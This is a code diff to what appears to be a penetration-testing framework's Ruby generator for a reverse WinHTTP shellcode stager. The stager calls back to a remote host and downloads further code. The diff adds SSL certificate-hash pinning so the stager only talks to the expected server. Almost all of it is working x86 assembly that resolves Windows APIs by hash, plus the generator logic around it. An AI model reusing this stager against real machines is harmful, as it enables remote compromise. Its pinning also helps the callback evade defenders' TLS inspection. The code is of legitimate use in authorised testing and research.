@@ -104,18 +104,29 @@ def asm_generate_wchar_array(str)
104104 def asm_reverse_winhttp ( opts = { } )
105105
106106
107+ verify_ssl = nil
108+ encoded_cert_hash = nil
109+
107110 #
108- # options should contain:
109- # ssl: (true|false)
110- # url: "/url_to_request"
111- # host: [hostname]
112- # port: [port]
113- # exitfunk: [process|thread|seh|sleep]
111+ # options can contain contain:
112+ # ssl: (true|false)
113+ # url: "/url_to_request"
114+ # host: [hostname]
115+ # port: [port]
116+ # exitfunk: [process|thread|seh|sleep]
117+ # verify_ssl: (true|false)
118+ # verify_cert_hash: (40-byte SHA1 hash)
114119 #
115120
116121 encoded_url = asm_generate_wchar_array ( opts [ :url ] )
117122 encoded_host = asm_generate_wchar_array ( opts [ :host ] )
118123
124+ if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125+ verify_ssl = true
126+ encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
127+ end
128+
129+
119130 http_open_flags = 0
120131
121132 if opts [ :ssl ]
@@ -137,7 +148,20 @@ def asm_reverse_winhttp(opts={})
137148 push esp ; Push a pointer to the "winhttp" string
138149 push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139150 call ebp ; LoadLibraryA( "winhttp" )
151+ ^
140152
153+ if verify_ssl
154+ asm << %Q^
155+ load_crypt32:
156+ push 0x00323374 ; Push the string 'crypt32',0
157+ push 0x70797263 ; ...
158+ push esp ; Push a pointer to the "crypt32" string
159+ push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160+ call ebp ; LoadLibraryA( "wincrypt" )
161+ ^
162+ end
163+
164+ asm << %Q^
141165 set_retry:
142166 push.i8 6 ; retry 6 times
143167 pop edi
@@ -215,7 +239,7 @@ def asm_reverse_winhttp(opts={})
215239 push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216240 call ebp
217241 test eax,eax
218- jnz receive_response ; if TRUE call WinHttpReceiveResponse API
242+ jnz check_response ; if TRUE call WinHttpReceiveResponse API
219243
220244 try_it_again:
221245 dec edi
@@ -237,10 +261,77 @@ def asm_reverse_winhttp(opts={})
237261 ^
238262 end
239263
264+ # Jump target if the request was sent successfully
265+ asm << %Q^
266+ check_response:
267+ ^
268+
269+ # Verify the SSL certificate hash
270+ if verify_ssl
271+
272+ asm << %Q^
273+ ssl_cert_get_context:
274+ push.i8 4
275+ mov ecx, esp ; Allocate &bufferLength
276+ push.i8 0
277+ mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278+
279+ push ecx ; &bufferLength
280+ push ebx ; &buffer
281+ push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282+ push esi ; hHttpRequest
283+ push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284+ call ebp
285+ test eax, eax ;
286+ jz failure ; Bail out if we couldn't get the certificate context
287+
288+ ; ebx
289+ ssl_cert_allocate_hash_space:
290+ push.i8 20 ;
291+ mov ecx, esp ; Store a reference to the address of 20
292+ sub esp,[ecx] ; Allocate 20 bytes for the hash output
293+ mov edi, esp ; edi will point to our buffer
294+
295+ ssl_cert_get_server_hash:
296+ push ecx ; &bufferLength
297+ push edi ; &buffer (20-byte SHA1 hash)
298+ push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299+ push [ebx] ; *pCert
300+ push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301+ call ebp
302+ test eax, eax ;
303+ jz failure ; Bail out if we couldn't get the certificate context
304+
305+ ssl_cert_start_verify:
306+ call ssl_cert_compare_hashes
307+ db #{ encoded_cert_hash }
308+
309+ ssl_cert_compare_hashes:
310+ pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert)
311+ ; edi points to the server-provided certificate hash
312+
313+ push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314+ pop ecx ;
315+ mov edx, ecx ; Keep a reference to 4 in edx
316+
317+ ssl_cert_verify_compare_loop:
318+ mov eax, [ebx] ; Grab the next DWORD of the hash
319+ cmp eax, [edi] ; Compare with the server hash
320+ jnz failure ; Bail out if the DWORD doesn't match
321+ add ebx, edx ; Increment internal hash pointer by 4
322+ add edi, edx ; Increment server hash pointer by 4
323+ loop ssl_cert_verify_compare_loop
324+
325+ ; Our certificate hash was valid, hurray!
326+ ssl_cert_verify_cleanup:
327+ xor ebx, ebx ; Reset ebx back to zero
328+ ^
329+ end
330+
240331 asm << %Q^
241332 receive_response:
242333 ; The API WinHttpReceiveResponse needs to be called
243- ; first to get a valid handler for WinHttpReadData
334+ ; first to get a valid handle for WinHttpReadData
244335 push ebx ; Reserved (NULL) [2]
245336 push esi ; Request handler returned by WinHttpSendRequest [1]
246337 push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
0 commit comments